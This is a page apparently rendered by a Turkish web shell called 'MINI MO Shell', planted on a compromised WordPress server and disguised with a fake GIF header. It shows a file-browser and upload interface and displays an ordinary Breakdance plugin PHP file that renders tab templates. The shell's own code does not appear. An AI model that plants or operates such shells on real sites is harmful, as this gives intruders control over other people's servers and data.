GIF94; MINI MO Shell - Tarih Gösterimli

MINI MINI MANI MO - TARİH GÖSTERİMLİ

Path : /var/www/wordpress/wp-content/plugins/oxygen/plugin/elements/tabs/
File Upload :
Current File : /var/www/wordpress/wp-content/plugins/oxygen/plugin/elements/tabs/base.php

<?php

namespace Breakdance\Elements\AtomV1Tabs;

use Breakdance\Render\Twig;

/**
 * @param string $id
 * @param array $tabs
 * @param array $design
 * @param array $all
 * @return string
 */
function render($id, $tabs, $design, $all)
{
    $template = getTemplate('tabs');

    return Twig::getInstance()->runTwig($template, [
        'id' => $id,
        'tabs' => $tabs,
        'design' => $design,
        'all' => $all,
    ]);
}

/**
 * @param string $name
 * @return string
 */
function getTemplate($name)
{
    /** @var array<string, string> $cache */
    static $cache = [];

    $file = __DIR__ . "/{$name}.twig";

    if (!file_exists($file)) {
        return '';
    }

    if (!isset($cache[$name])) {
        $contents = file_get_contents($file);
        $cache[$name] = $contents ?: '';
    }

    return $cache[$name];
}

OHA YOOO - Tarih: 2026-08-04 00:05:56